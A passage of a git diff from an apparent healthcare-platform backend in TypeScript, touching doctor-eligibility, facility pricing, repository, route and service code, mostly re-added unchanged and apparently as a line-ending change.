plus anything the caller has already targeted in the + * same batch) and doctors whose account is deactivated. The referrals + * module decides *which* of these receives the referral β€” this module + * only owns the definition of eligibility, so the manual and routed + * paths cannot drift apart. + */ +export async function listEligibleReferralTargets(specialtyId: string, excludeDoctorProfileIds: string[] = []) { + const rows = await doctorsRepo.findEligibleDoctorsForSpecialty(specialtyId, excludeDoctorProfileIds); + return rows.map((row) => row.doctorProfileId); +} + +/** Count and oldest-item age for the admin overview (issue #123). No PHI. */ +export async function doctorVerificationQueueCounts() { + const stats = await doctorsRepo.findPendingVerificationStats(); + const oldestAgeSeconds = stats.oldestCreatedAt + ? Math.max(0, Math.floor((Date.now() - stats.oldestCreatedAt.getTime()) / 1000)) + : null; + return { count: stats.count, oldestAgeSeconds }; +} diff --git a/backend/src/modules/doctors/validation.ts b/backend/src/modules/doctors/validation.ts index 5cd42415..492ede2d 100644 --- a/backend/src/modules/doctors/validation.ts +++ b/backend/src/modules/doctors/validation.ts @@ -1,16 +1,16 @@ -import { z } from 'zod'; - -export const setVerificationStatusSchema = z.object({ - status: z.enum(['pending', 'verified', 'rejected']), -}); - -export const setMySpecialtiesSchema = z.object({ - specialtyIds: z.array(z.string().uuid()).max(30).transform((ids) => [...new Set(ids)]), -}).strict(); - -export const publicDoctorListQuerySchema = z.object({ - specialty: z.string().trim().min(1).max(100).optional(), - q: z.string().trim().min(1).max(100).optional(), - limit: z.coerce.number().int().min(1).max(50).default(20), - cursor: z.string().uuid().optional(), -}).strict(); +import { z } from 'zod'; + +export const setVerificationStatusSchema = z.object({ + status: z.enum(['pending', 'verified', 'rejected']), +}); + +export const setMySpecialtiesSchema = z.object({ + specialtyIds: z.array(z.string().uuid()).max(30).transform((ids) => [...new Set(ids)]), +}).strict(); + +export const publicDoctorListQuerySchema = z.object({ + specialty: z.string().trim().min(1).max(100).optional(), + q: z.string().trim().min(1).max(100).optional(), + limit: z.coerce.number().int().min(1).max(50).default(20), + cursor: z.string().uuid().optional(), +}).strict(); diff --git a/backend/src/modules/facilities/controllers/index.ts b/backend/src/modules/facilities/controllers/index.ts index 665c21a9..44252bb2 100644 --- a/backend/src/modules/facilities/controllers/index.ts +++ b/backend/src/modules/facilities/controllers/index.ts @@ -1,96 +1,96 @@ -import type { Request, Response } from 'express'; -import { HttpError } from '../../../http-error'; -import { getParam } from '../../../request-params'; -import { auditActor } from '../../../middleware/request-id'; -import * as facilitiesService from '../services'; -import { - createFacilitySchema, - createPriceVersionSchema, - eligibleFacilitiesQuerySchema, - priceFiltersSchema, -} from '../validation'; - -/** BigInt does not serialize through JSON.stringify β€” every price response - * crosses the boundary as a digit string, matching the payments API. */ -function serializePrice(price: { - id: string; - facilityId: string; - catalogItemCode: string; - asset: string; - amount: bigint; - effectiveFrom: Date; - createdAt: Date; -}) { - return { - id: price.id, - facilityId: price.facilityId, - catalogItemCode: price.catalogItemCode, - asset: price.asset, - amountStroops: price.amount.toString(), - effectiveFrom: price.effectiveFrom.toISOString(), - createdAt: price.createdAt.toISOString(), - }; -} - -function serializeEligible(facility: facilitiesService.EligibleFacility) { - return { - facilityId: facility.facilityId, - name: facility.name, - type: facility.type, - priceOnRequest: facility.priceOnRequest, - price: facility.price - ? { - amountStroops: facility.price.amount.toString(), - effectiveFrom: facility.price.effectiveFrom.toISOString(), - } - : null, - }; -} - -/** GET /facilities/me/prices β€” the signed-in facility owner's price list. */ -export async function listOwnPrices(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const filters = priceFiltersSchema.parse(req.query); - const facilityId = await facilitiesService.getOwnFacilityProfileId(req.user.id); - const prices = await facilitiesService.listPrices(facilityId, filters); - res.status(200).json({ prices: prices.map(serializePrice) }); -} - -/** POST /facilities/me/prices β€” publish a new version of a price. */ -export async function createOwnPrice(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const body = createPriceVersionSchema.parse(req.body); - const facilityId = await facilitiesService.getOwnFacilityProfileId(req.user.id); - const price = await facilitiesService.createPriceVersion(auditActor(req), facilityId, body); - res.status(201).json(serializePrice(price)); -} - -/** GET /facilities/:facilityId/prices β€” any facility's price list (public). */ -export async function listFacilityPrices(req: Request, res: Response) { - const facilityId = getParam(req, 'facilityId'); - const filters = priceFiltersSchema.parse(req.query); - const prices = await facilitiesService.listPrices(facilityId, filters); - res.status(200).json({ prices: prices.map(serializePrice) }); -} - -/** GET /facilities/eligible β€” facilities of a type with their current price. */ -export async function eligibleFacilities(req: Request, res: Response) { - const query = eligibleFacilitiesQuerySchema.parse(req.query); - const at = query.at === undefined ? undefined : new Date(query.at); - if (at !== undefined && Number.isNaN(at.getTime())) { - throw new HttpError(400, 'at must be a valid ISO-8601 timestamp.'); - } - const facilities = await facilitiesService.listEligibleFacilities({ ...query, at }); - res.status(200).json({ facilities: facilities.map(serializeEligible) }); -} - -/** - * POST /facilities β€” create a facility account (admin-only; the gate is on - * the route, mirroring doctor verification). The response echoes the created - * profile and its capabilities; the password is hashed and never returned. - */ -export async function createFacility(req: Request, res: Response) { - const body = createFacilitySchema.parse(req.body); - const facility = await facilitiesService.createFacilityAccount(auditActor(req), body); - res.status(201).json(facility); -} +import type { Request, Response } from 'express'; +import { HttpError } from '../../../http-error'; +import { getParam } from '../../../request-params'; +import { auditActor } from '../../../middleware/request-id'; +import * as facilitiesService from '../services'; +import { + createFacilitySchema, + createPriceVersionSchema, + eligibleFacilitiesQuerySchema, + priceFiltersSchema, +} from '../validation'; + +/** BigInt does not serialize through JSON.stringify β€” every price response + * crosses the boundary as a digit string, matching the payments API. */ +function serializePrice(price: { + id: string; + facilityId: string; + catalogItemCode: string; + asset: string; + amount: bigint; + effectiveFrom: Date; + createdAt: Date; +}) { + return { + id: price.id, + facilityId: price.facilityId, + catalogItemCode: price.catalogItemCode, + asset: price.asset, + amountStroops: price.amount.toString(), + effectiveFrom: price.effectiveFrom.toISOString(), + createdAt: price.createdAt.toISOString(), + }; +} + +function serializeEligible(facility: facilitiesService.EligibleFacility) { + return { + facilityId: facility.facilityId, + name: facility.name, + type: facility.type, + priceOnRequest: facility.priceOnRequest, + price: facility.price + ? { + amountStroops: facility.price.amount.toString(), + effectiveFrom: facility.price.effectiveFrom.toISOString(), + } + : null, + }; +} + +/** GET /facilities/me/prices β€” the signed-in facility owner's price list. */ +export async function listOwnPrices(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const filters = priceFiltersSchema.parse(req.query); + const facilityId = await facilitiesService.getOwnFacilityProfileId(req.user.id); + const prices = await facilitiesService.listPrices(facilityId, filters); + res.status(200).json({ prices: prices.map(serializePrice) }); +} + +/** POST /facilities/me/prices β€” publish a new version of a price. */ +export async function createOwnPrice(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const body = createPriceVersionSchema.parse(req.body); + const facilityId = await facilitiesService.getOwnFacilityProfileId(req.user.id); + const price = await facilitiesService.createPriceVersion(auditActor(req), facilityId, body); + res.status(201).json(serializePrice(price)); +} + +/** GET /facilities/:facilityId/prices β€” any facility's price list (public). */ +export async function listFacilityPrices(req: Request, res: Response) { + const facilityId = getParam(req, 'facilityId'); + const filters = priceFiltersSchema.parse(req.query); + const prices = await facilitiesService.listPrices(facilityId, filters); + res.status(200).json({ prices: prices.map(serializePrice) }); +} + +/** GET /facilities/eligible β€” facilities of a type with their current price. */ +export async function eligibleFacilities(req: Request, res: Response) { + const query = eligibleFacilitiesQuerySchema.parse(req.query); + const at = query.at === undefined ? undefined : new Date(query.at); + if (at !== undefined && Number.isNaN(at.getTime())) { + throw new HttpError(400, 'at must be a valid ISO-8601 timestamp.'); + } + const facilities = await facilitiesService.listEligibleFacilities({ ...query, at }); + res.status(200).json({ facilities: facilities.map(serializeEligible) }); +} + +/** + * POST /facilities β€” create a facility account (admin-only; the gate is on + * the route, mirroring doctor verification). The response echoes the created + * profile and its capabilities; the password is hashed and never returned. + */ +export async function createFacility(req: Request, res: Response) { + const body = createFacilitySchema.parse(req.body); + const facility = await facilitiesService.createFacilityAccount(auditActor(req), body); + res.status(201).json(facility); +} diff --git a/backend/src/modules/facilities/pricing.ts b/backend/src/modules/facilities/pricing.ts index 17fd013d..9f427498 100644 --- a/backend/src/modules/facilities/pricing.ts +++ b/backend/src/modules/facilities/pricing.ts @@ -1,60 +1,60 @@ -// Pure pricing helpers for the facilities module β€” no database, no HTTP. -// Everything that decides *which* price applies lives here so it can be -// unit-tested without Postgres and reused by the payments snapshot path. -import { HttpError } from '../../http-error'; - -/** - * Asset identifier for native XLM quotes. Stellar's native asset has no - * issuer; v1 PaymentIntents are native-XLM only (see ARCHITECTURE.md Β§4), so - * a facility price without an explicit asset is quoted in native XLM. - */ -export const NATIVE_PRICE_ASSET = 'native'; - -/** A stored price version, narrowed to what selection needs. */ -export interface PriceVersion { - effectiveFrom: Date; - amount: bigint; -} - -/** - * The version in force at `at`: the latest row whose `effectiveFrom` is not - * after it. Rows are expected newest-first (as the repositories order them), - * but this does not depend on that. - * - * A price effective exactly at `at` counts β€” a facility that publishes a new - * price at 12:00 charges it from 12:00, not from the next instant. - */ -export function selectCurrentPrice(versions: readonly T[], at: Date): T | undefined { - let current: T | undefined; - for (const version of versions) { - if (version.effectiveFrom.getTime() > at.getTime()) continue; - if (!current || version.effectiveFrom.getTime() > current.effectiveFrom.getTime()) { - current = version; - } - } - return current; -} - -/** Parses an `effectiveFrom` body value; defaults to "now". */ -export function parseEffectiveFrom(value: string | Date | undefined, now = new Date()): Date { - if (value === undefined) return now; - const date = value instanceof Date ? value : new Date(value); - if (Number.isNaN(date.getTime())) { - throw new HttpError(400, 'effectiveFrom must be a valid ISO-8601 timestamp.'); - } - return date; -} - -/** - * The error for "this facility has not published a price for that item". - * 422 with a stable `PRICE_ON_REQUEST` code so clients can render the - * documented "price on request" state instead of treating it as a failure to - * charge. - */ -export function priceOnRequestError(catalogItemCode: string): HttpError { - return new HttpError( - 422, - `This facility has no price for '${catalogItemCode}' yet β€” price on request.`, - 'PRICE_ON_REQUEST', - ); -} +// Pure pricing helpers for the facilities module β€” no database, no HTTP. +// Everything that decides *which* price applies lives here so it can be +// unit-tested without Postgres and reused by the payments snapshot path. +import { HttpError } from '../../http-error'; + +/** + * Asset identifier for native XLM quotes. Stellar's native asset has no + * issuer; v1 PaymentIntents are native-XLM only (see ARCHITECTURE.md Β§4), so + * a facility price without an explicit asset is quoted in native XLM. + */ +export const NATIVE_PRICE_ASSET = 'native'; + +/** A stored price version, narrowed to what selection needs. */ +export interface PriceVersion { + effectiveFrom: Date; + amount: bigint; +} + +/** + * The version in force at `at`: the latest row whose `effectiveFrom` is not + * after it. Rows are expected newest-first (as the repositories order them), + * but this does not depend on that. + * + * A price effective exactly at `at` counts β€” a facility that publishes a new + * price at 12:00 charges it from 12:00, not from the next instant. + */ +export function selectCurrentPrice(versions: readonly T[], at: Date): T | undefined { + let current: T | undefined; + for (const version of versions) { + if (version.effectiveFrom.getTime() > at.getTime()) continue; + if (!current || version.effectiveFrom.getTime() > current.effectiveFrom.getTime()) { + current = version; + } + } + return current; +} + +/** Parses an `effectiveFrom` body value; defaults to "now". */ +export function parseEffectiveFrom(value: string | Date | undefined, now = new Date()): Date { + if (value === undefined) return now; + const date = value instanceof Date ? value : new Date(value); + if (Number.isNaN(date.getTime())) { + throw new HttpError(400, 'effectiveFrom must be a valid ISO-8601 timestamp.'); + } + return date; +} + +/** + * The error for "this facility has not published a price for that item". + * 422 with a stable `PRICE_ON_REQUEST` code so clients can render the + * documented "price on request" state instead of treating it as a failure to + * charge. + */ +export function priceOnRequestError(catalogItemCode: string): HttpError { + return new HttpError( + 422, + `This facility has no price for '${catalogItemCode}' yet β€” price on request.`, + 'PRICE_ON_REQUEST', + ); +} diff --git a/backend/src/modules/facilities/repositories/index.ts b/backend/src/modules/facilities/repositories/index.ts index 363357a7..1b311617 100644 --- a/backend/src/modules/facilities/repositories/index.ts +++ b/backend/src/modules/facilities/repositories/index.ts @@ -1,138 +1,138 @@ -// facilities repositories β€” data access only. Other modules must not import -// from here directly; go through services/. Reads that the payments module -// needs inside its own transaction take a Prisma client so the price snapshot -// and the intent write commit (or roll back) together. -import { prisma } from '../../../db/prisma-client'; -import type { CapabilityType, FacilityType, Prisma } from '@prisma/client'; - -/** Any Prisma client: the shared one, or a transaction's. */ -export type Db = Prisma.TransactionClient | typeof prisma; - -export function findFacilityProfileByUserId(userId: string) { - return prisma.facilityProfile.findUnique({ where: { userId } }); -} - -export function findFacilityProfileById(id: string, db: Db = prisma) { - return db.facilityProfile.findUnique({ where: { id } }); -} - -/** Every version of the facility's price list, newest first. Optionally - * narrowed to one catalog item and/or asset. */ -export function listPriceHistory( - facilityId: string, - filters: { catalogItemCode?: string; asset?: string } = {}, - db: Db = prisma, -) { - return db.facilityPrice.findMany({ - where: { - facilityId, - ...(filters.catalogItemCode ? { catalogItemCode: filters.catalogItemCode } : {}), - ...(filters.asset ? { asset: filters.asset } : {}), - }, - orderBy: [{ catalogItemCode: 'asc' }, { asset: 'asc' }, { effectiveFrom: 'desc' }], - }); -} - -/** Every version of one catalog item/asset for a facility, newest first β€” - * `selectCurrentPrice` narrows it to the version in force at a timestamp. */ -export function findPriceVersions( - facilityId: string, - catalogItemCode: string, - asset: string, - db: Db = prisma, -) { - return db.facilityPrice.findMany({ - where: { facilityId, catalogItemCode, asset }, - orderBy: { effectiveFrom: 'desc' }, - }); -} - -/** Current price rows ("effectiveFrom <= at") for many facilities at once, - * newest first, so the eligible-facility query is one round trip. */ -export function findPriceVersionsForFacilities( - facilityIds: string[], - catalogItemCode: string, - asset: string, - at: Date, - db: Db = prisma, -) { - if (facilityIds.length === 0) return Promise.resolve([]); - return db.facilityPrice.findMany({ - where: { - facilityId: { in: facilityIds }, - catalogItemCode, - asset, - effectiveFrom: { lte: at }, - }, - orderBy: { effectiveFrom: 'desc' }, - }); -} - -/** Appends a price version. Never updates an existing row β€” history stays. */ -export function createPriceVersion( - db: Db, - data: { - facilityId: string; - catalogItemCode: string; - asset: string; - amount: bigint; - effectiveFrom: Date; - }, -) { - return db.facilityPrice.create({ data }); -} - -/** - * Facilities qualified for an order kind (issue #14): the facility's type - * *and* a matching `FacilityCapability` row are both required β€” a facility - * with no capability data is never returned (fail closed, PRD FR-13/Β§8.1.6). - */ -export function listQualifiedFacilityProfiles(type: FacilityType, capabilityType: CapabilityType, db: Db = prisma) { - return db.facilityProfile.findMany({ - where: { type, capabilities: { some: { capabilityType } } }, - select: { id: true, name: true, type: true }, - orderBy: { name: 'asc' }, - }); -} - -// --- Account creation (issue #14, admin-only) ----------------------------- -// These run on the caller's transaction client: a facility account is a -// User + FacilityProfile + its capabilities or nothing β€” a half-created -// account is a login that can never be matched to a profile. - -export function createFacilityUser( - db: Db, - data: { email: string; passwordHash: string; emailVerifiedAt: Date }, -) { - return db.user.create({ - data: { email: data.email, passwordHash: data.passwordHash, role: 'facility', emailVerifiedAt: data.emailVerifiedAt }, - }); -} - -export function createFacilityProfile( - db: Db, - data: { userId: string; name: string; type: FacilityType }, -) { - return db.facilityProfile.create({ data }); -} - -/** Caps live here too: the DB unique index treats two NULL details as - * distinct rows, so de-duplication is this module's job. */ -export async function createFacilityCapabilities( - db: Db, - facilityProfileId: string, - capabilities: { capabilityType: CapabilityType; detail: string | null }[], -) { - const byKey = new Map(); - for (const capability of capabilities) { - byKey.set(`${capability.capabilityType}|${capability.detail ?? ''}`, capability); - } - if (byKey.size === 0) return []; - await db.facilityCapability.createMany({ - data: [...byKey.values()].map((capability) => ({ facilityProfileId, ...capability })), - }); - return db.facilityCapability.findMany({ - where: { facilityProfileId }, - orderBy: [{ capabilityType: 'asc' }, { detail: 'asc' }], - }); -} +// facilities repositories β€” data access only. Other modules must not import +// from here directly; go through services/. Reads that the payments module +// needs inside its own transaction take a Prisma client so the price snapshot +// and the intent write commit (or roll back) together. +import { prisma } from '../../../db/prisma-client'; +import type { CapabilityType, FacilityType, Prisma } from '@prisma/client'; + +/** Any Prisma client: the shared one, or a transaction's. */ +export type Db = Prisma.TransactionClient | typeof prisma; + +export function findFacilityProfileByUserId(userId: string) { + return prisma.facilityProfile.findUnique({ where: { userId } }); +} + +export function findFacilityProfileById(id: string, db: Db = prisma) { + return db.facilityProfile.findUnique({ where: { id } }); +} + +/** Every version of the facility's price list, newest first. Optionally + * narrowed to one catalog item and/or asset. */ +export function listPriceHistory( + facilityId: string, + filters: { catalogItemCode?: string; asset?: string } = {}, + db: Db = prisma, +) { + return db.facilityPrice.findMany({ + where: { + facilityId, + ...(filters.catalogItemCode ? { catalogItemCode: filters.catalogItemCode } : {}), + ...(filters.asset ? { asset: filters.asset } : {}), + }, + orderBy: [{ catalogItemCode: 'asc' }, { asset: 'asc' }, { effectiveFrom: 'desc' }], + }); +} + +/** Every version of one catalog item/asset for a facility, newest first β€” + * `selectCurrentPrice` narrows it to the version in force at a timestamp. */ +export function findPriceVersions( + facilityId: string, + catalogItemCode: string, + asset: string, + db: Db = prisma, +) { + return db.facilityPrice.findMany({ + where: { facilityId, catalogItemCode, asset }, + orderBy: { effectiveFrom: 'desc' }, + }); +} + +/** Current price rows ("effectiveFrom <= at") for many facilities at once, + * newest first, so the eligible-facility query is one round trip. */ +export function findPriceVersionsForFacilities( + facilityIds: string[], + catalogItemCode: string, + asset: string, + at: Date, + db: Db = prisma, +) { + if (facilityIds.length === 0) return Promise.resolve([]); + return db.facilityPrice.findMany({ + where: { + facilityId: { in: facilityIds }, + catalogItemCode, + asset, + effectiveFrom: { lte: at }, + }, + orderBy: { effectiveFrom: 'desc' }, + }); +} + +/** Appends a price version. Never updates an existing row β€” history stays. */ +export function createPriceVersion( + db: Db, + data: { + facilityId: string; + catalogItemCode: string; + asset: string; + amount: bigint; + effectiveFrom: Date; + }, +) { + return db.facilityPrice.create({ data }); +} + +/** + * Facilities qualified for an order kind (issue #14): the facility's type + * *and* a matching `FacilityCapability` row are both required β€” a facility + * with no capability data is never returned (fail closed, PRD FR-13/Β§8.1.6). + */ +export function listQualifiedFacilityProfiles(type: FacilityType, capabilityType: CapabilityType, db: Db = prisma) { + return db.facilityProfile.findMany({ + where: { type, capabilities: { some: { capabilityType } } }, + select: { id: true, name: true, type: true }, + orderBy: { name: 'asc' }, + }); +} + +// --- Account creation (issue #14, admin-only) ----------------------------- +// These run on the caller's transaction client: a facility account is a +// User + FacilityProfile + its capabilities or nothing β€” a half-created +// account is a login that can never be matched to a profile. + +export function createFacilityUser( + db: Db, + data: { email: string; passwordHash: string; emailVerifiedAt: Date }, +) { + return db.user.create({ + data: { email: data.email, passwordHash: data.passwordHash, role: 'facility', emailVerifiedAt: data.emailVerifiedAt }, + }); +} + +export function createFacilityProfile( + db: Db, + data: { userId: string; name: string; type: FacilityType }, +) { + return db.facilityProfile.create({ data }); +} + +/** Caps live here too: the DB unique index treats two NULL details as + * distinct rows, so de-duplication is this module's job. */ +export async function createFacilityCapabilities( + db: Db, + facilityProfileId: string, + capabilities: { capabilityType: CapabilityType; detail: string | null }[], +) { + const byKey = new Map(); + for (const capability of capabilities) { + byKey.set(`${capability.capabilityType}|${capability.detail ?? ''}`, capability); + } + if (byKey.size === 0) return []; + await db.facilityCapability.createMany({ + data: [...byKey.values()].map((capability) => ({ facilityProfileId, ...capability })), + }); + return db.facilityCapability.findMany({ + where: { facilityProfileId }, + orderBy: [{ capabilityType: 'asc' }, { detail: 'asc' }], + }); +} diff --git a/backend/src/modules/facilities/routes/index.ts b/backend/src/modules/facilities/routes/index.ts index 7114f0b8..2b8e6c0d 100644 --- a/backend/src/modules/facilities/routes/index.ts +++ b/backend/src/modules/facilities/routes/index.ts @@ -1,32 +1,32 @@ -import { Router } from 'express'; -import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; -import * as facilitiesController from '../controllers'; - -export const facilitiesRouter = Router(); - -// Facility accounts are admin-created only (PRD OQ-2 β€” curated partner list, -// no self-serve facility signup; `POST /auth/signup` refuses the role). -// Server-side gate, same pattern as admin-gated doctor verification in -// Phase 1. Tested in backend/tests/integration/facility-creation-matching. -facilitiesRouter.post( - '/', - authenticate, - requireRole('admin'), - facilitiesController.createFacility, -); - -// Price management is scoped to "my facility": the owner's profile is looked -// up from the authenticated user, so there is no client-supplied id to forge. -facilitiesRouter.get('/me/prices', authenticate, requireRole('facility'), facilitiesController.listOwnPrices); -facilitiesRouter.post( - '/me/prices', - authenticate, - requireRole('facility'), - requireVerifiedEmail, - facilitiesController.createOwnPrice, -); - -// Public reads. `/eligible` is declared before `/:facilityId/prices` so the -// literal segment is never captured as an id (Express 5 matches in order). -facilitiesRouter.get('/eligible', facilitiesController.eligibleFacilities); -facilitiesRouter.get('/:facilityId/prices', facilitiesController.listFacilityPrices); +import { Router } from 'express'; +import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; +import * as facilitiesController from '../controllers'; + +export const facilitiesRouter = Router(); + +// Facility accounts are admin-created only (PRD OQ-2 β€” curated partner list, +// no self-serve facility signup; `POST /auth/signup` refuses the role). +// Server-side gate, same pattern as admin-gated doctor verification in +// Phase 1. Tested in backend/tests/integration/facility-creation-matching. +facilitiesRouter.post( + '/', + authenticate, + requireRole('admin'), + facilitiesController.createFacility, +); + +// Price management is scoped to "my facility": the owner's profile is looked +// up from the authenticated user, so there is no client-supplied id to forge. +facilitiesRouter.get('/me/prices', authenticate, requireRole('facility'), facilitiesController.listOwnPrices); +facilitiesRouter.post( + '/me/prices', + authenticate, + requireRole('facility'), + requireVerifiedEmail, + facilitiesController.createOwnPrice, +); + +// Public reads. `/eligible` is declared before `/:facilityId/prices` so the +// literal segment is never captured as an id (Express 5 matches in order). +facilitiesRouter.get('/eligible', facilitiesController.eligibleFacilities); +facilitiesRouter.get('/:facilityId/prices', facilitiesController.listFacilityPrices); diff --git a/backend/src/modules/facilities/services/index.ts b/backend/src/modules/facilities/services/index.ts index 46f138ca..053e1085 100644 --- a/backend/src/modules/facilities/services/index.ts +++ b/backend/src/modules/facilities/services/index.ts @@ -1,439 +1,439 @@ -// facilities services β€” other modules must import pricing from here, never -// from repositories/ directly (AGENTS.md module-boundary rule). -// -// Three responsibilities: -// 1. facility owners manage a versioned price list (append-only); -// 2. the eligible-facility lookup and the order/ payments path resolve the -// price in force *now*, and the intent stores that amount as a snapshot -// so a later price change cannot re-price it; -// 3. admin-only facility account creation + FacilityCapability matching -// (issue #14, PRD OQ-2 / FR-13): facilities are curated, never -// self-serve, and a patient only ever sees facilities qualified for -// their order type. -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import * as auditService from '../../audit/services'; -import { hashPassword } from '../../auth/services'; -import * as facilitiesRepo from '../repositories'; -import type { Db } from '../repositories'; -import { - NATIVE_PRICE_ASSET, - parseEffectiveFrom, - priceOnRequestError, - selectCurrentPrice, -} from '../pricing'; -import { parseStroopsAmount } from '../../../utils/stroops'; -import type { CapabilityType, FacilityType } from '@prisma/client'; - -const MAX_CATALOG_ITEM_CODE_LENGTH = 100; -const MAX_ASSET_ID_LENGTH = 120; -const MAX_CAPABILITY_DETAIL_LENGTH = 100; -/** Mirrors auth signup's minimum β€” an admin-set initial password must not - * be weaker than a self-chosen one. */ -const MIN_FACILITY_PASSWORD_LENGTH = 8; - -export const DEFAULT_PRICE_ASSET = NATIVE_PRICE_ASSET; - -export interface PriceVersionInput { - catalogItemCode: string; - /** Smallest units (stroops), as a string from JSON or a bigint internally. */ - amount: string | bigint | number; - /** Defaults to native XLM. */ - asset?: string; - /** Defaults to "now"; a later timestamp schedules the version. */ - effectiveFrom?: string | Date; -} - -export interface PriceView { - id: string; - facilityId: string; - catalogItemCode: string; - asset: string; - amount: bigint; - effectiveFrom: Date; - createdAt: Date; -} - -function assertCatalogItemCode(value: string): string { - const trimmed = value.trim(); - if (trimmed.length === 0) throw new HttpError(400, 'catalogItemCode is required.'); - if (trimmed.length > MAX_CATALOG_ITEM_CODE_LENGTH) { - throw new HttpError(400, `catalogItemCode must be at most ${MAX_CATALOG_ITEM_CODE_LENGTH} characters.`); - } - return trimmed; -} - -function assertAsset(value: string | undefined): string { - const asset = (value ?? NATIVE_PRICE_ASSET).trim(); - if (asset.length === 0) throw new HttpError(400, 'asset must not be empty.'); - if (asset.length > MAX_ASSET_ID_LENGTH) { - throw new HttpError(400, `asset must be at most ${MAX_ASSET_ID_LENGTH} characters.`); - } - return asset; -} - -/** The caller's own facility profile id β€” price management is always - * "my" facility, never a client-supplied id (no IDOR surface). */ -export async function getOwnFacilityProfileId(userId: string): Promise { - const facility = await facilitiesRepo.findFacilityProfileByUserId(userId); - if (!facility) throw new HttpError(403, 'No facility profile is linked to this account.'); - return facility.id; -} - -async function requireFacilityForWrite(actor: auditService.AuditActor, facilityId: string) { - const facility = await facilitiesRepo.findFacilityProfileById(facilityId); - if (!facility) throw new HttpError(404, 'Facility not found.'); - if (actor.role !== 'admin' && (actor.userId === null || facility.userId !== actor.userId)) { - throw new HttpError(403, 'Only the facility owner can manage this price list.'); - } - return facility; -} - -/** - * The facility's price list, newest version first. Public: published prices - * are what patients compare, so reading them needs no ownership. Writing - * (below) does. - */ -export async function listPrices( - facilityId: string, - filters: { catalogItemCode?: string; asset?: string } = {}, -): Promise { - const facility = await facilitiesRepo.findFacilityProfileById(facilityId); - if (!facility) throw new HttpError(404, 'Facility not found.'); - return facilitiesRepo.listPriceHistory(facilityId, filters); -} - -/** - * Publishes a new price version. Append-only by design: publishing the same - * item/asset at a new `effectiveFrom` supersedes the old row for future - * pricing while leaving the old row (and any intent priced from it) intact. - */ -export async function createPriceVersion( - actor: auditService.AuditActor, - facilityId: string, - input: PriceVersionInput, -): Promise { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - await requireFacilityForWrite(actor, facilityId); - - const catalogItemCode = assertCatalogItemCode(input.catalogItemCode); - const asset = assertAsset(input.asset); - const amount = parseStroopsAmount(input.amount); - const effectiveFrom = parseEffectiveFrom(input.effectiveFrom); - - try { - return await prisma.$transaction(async (tx) => { - const price = await facilitiesRepo.createPriceVersion(tx, { - facilityId, - catalogItemCode, - asset, - amount, - effectiveFrom, - }); - await auditService.record(tx, actor, { - entityType: 'FacilityPrice', - entityId: price.id, - action: 'facility_price.created', - fromState: null, - toState: 'published', - metadata: { - facilityId, - catalogItemCode, - asset, - amountStroops: amount.toString(), - effectiveFrom: effectiveFrom.toISOString(), - }, - }); - return price; - }); - } catch (error) { - if (isUniqueViolation(error)) { - throw new HttpError(409, 'A price for this item and asset already exists with that effectiveFrom.'); - } - throw error; - } -} - -/** - * The price in force for one facility + catalog item (+ asset) at `at`, or - * `null` when the facility has not published one β€” the caller renders that as - * "price on request". Accepts a transaction client so the read and the write - * it prices happen in one transaction. - */ -export async function resolveCurrentPrice( - db: Db, - input: { facilityProfileId: string; catalogItemCode: string; asset?: string; at?: Date }, -): Promise<{ amount: bigint; effectiveFrom: Date; versionId: string } | null> { - const catalogItemCode = assertCatalogItemCode(input.catalogItemCode); - const asset = assertAsset(input.asset); - const at = input.at ?? new Date(); - const versions = await facilitiesRepo.findPriceVersions(input.facilityProfileId, catalogItemCode, asset, db); - const current = selectCurrentPrice(versions, at); - if (!current) return null; - return { amount: current.amount, effectiveFrom: current.effectiveFrom, versionId: current.id }; -} - -/** - * Same as `resolveCurrentPrice`, but throws the documented 422 - * `PRICE_ON_REQUEST` instead of returning null. Used where an amount is - * mandatory (pricing a new intent). - */ -export async function requireCurrentPrice( - db: Db, - input: { facilityProfileId: string; catalogItemCode: string; asset?: string; at?: Date }, -): Promise<{ amount: bigint; effectiveFrom: Date; versionId: string }> { - const price = await resolveCurrentPrice(db, input); - if (!price) throw priceOnRequestError(input.catalogItemCode); - return price; -} - -export interface EligibleFacility { - facilityId: string; - name: string; - type: 'lab' | 'pharmacy'; - /** Current price in smallest units, or null β†’ "price on request". */ - price: { amount: bigint; effectiveFrom: Date } | null; - priceOnRequest: boolean; -} - -/** - * Facility type β†’ the capability that type exists to provide. Kept in one - * map so the creation path (below) and the matching path cannot drift: a - * `lab` profile that cannot run lab tests is a data error, not a candidate. - */ -const CAPABILITY_BY_FACILITY_TYPE: Record = { - lab: 'lab_test', - pharmacy: 'medication_dispense', -}; - -function capabilityForFacilityType(type: FacilityType): CapabilityType { - // hasOwn, not a bare lookup: an inherited key (`constructor`) must not - // pass as a capability. - if (!Object.hasOwn(CAPABILITY_BY_FACILITY_TYPE, type)) { - throw new HttpError(400, 'type must be "lab" or "pharmacy".'); - } - return CAPABILITY_BY_FACILITY_TYPE[type]; -} - -/** What each fulfillable order kind (ADR 0012's discriminator: which typed - * FK on the order is set) requires of a facility. */ -export type FacilityOrderKind = 'lab_order' | 'prescription'; - -const REQUIREMENT_BY_ORDER_KIND: Record = { - lab_order: { facilityType: 'lab', capabilityType: 'lab_test' }, - prescription: { facilityType: 'pharmacy', capabilityType: 'medication_dispense' }, -}; - -export function facilityRequirementForOrderKind(orderKind: FacilityOrderKind) { - // hasOwn, not a bare lookup: an inherited key (`constructor`) must not - // resolve to a requirement. - const requirement = Object.hasOwn(REQUIREMENT_BY_ORDER_KIND, orderKind) - ? REQUIREMENT_BY_ORDER_KIND[orderKind] - : undefined; - if (!requirement) throw new HttpError(400, `Unknown order kind: ${String(orderKind)}`); - return { ...requirement }; -} - -/** - * Facilities of `type`, each with the price in force at `at` for the optional - * `catalogItemCode` β€” the patient-facing comparison query (issue #127). - * - * Candidate selection is capability matching (issue #14, PRD FR-13): a - * facility appears only if it is of `type` *and* holds a `FacilityCapability` - * of the type's capability. **Fail closed** β€” a facility with no capability - * rows, or only rows of the wrong capability type (malformed data), shows for - * nothing. Showing every facility for every order type is the fraud/safety - * concern PRD 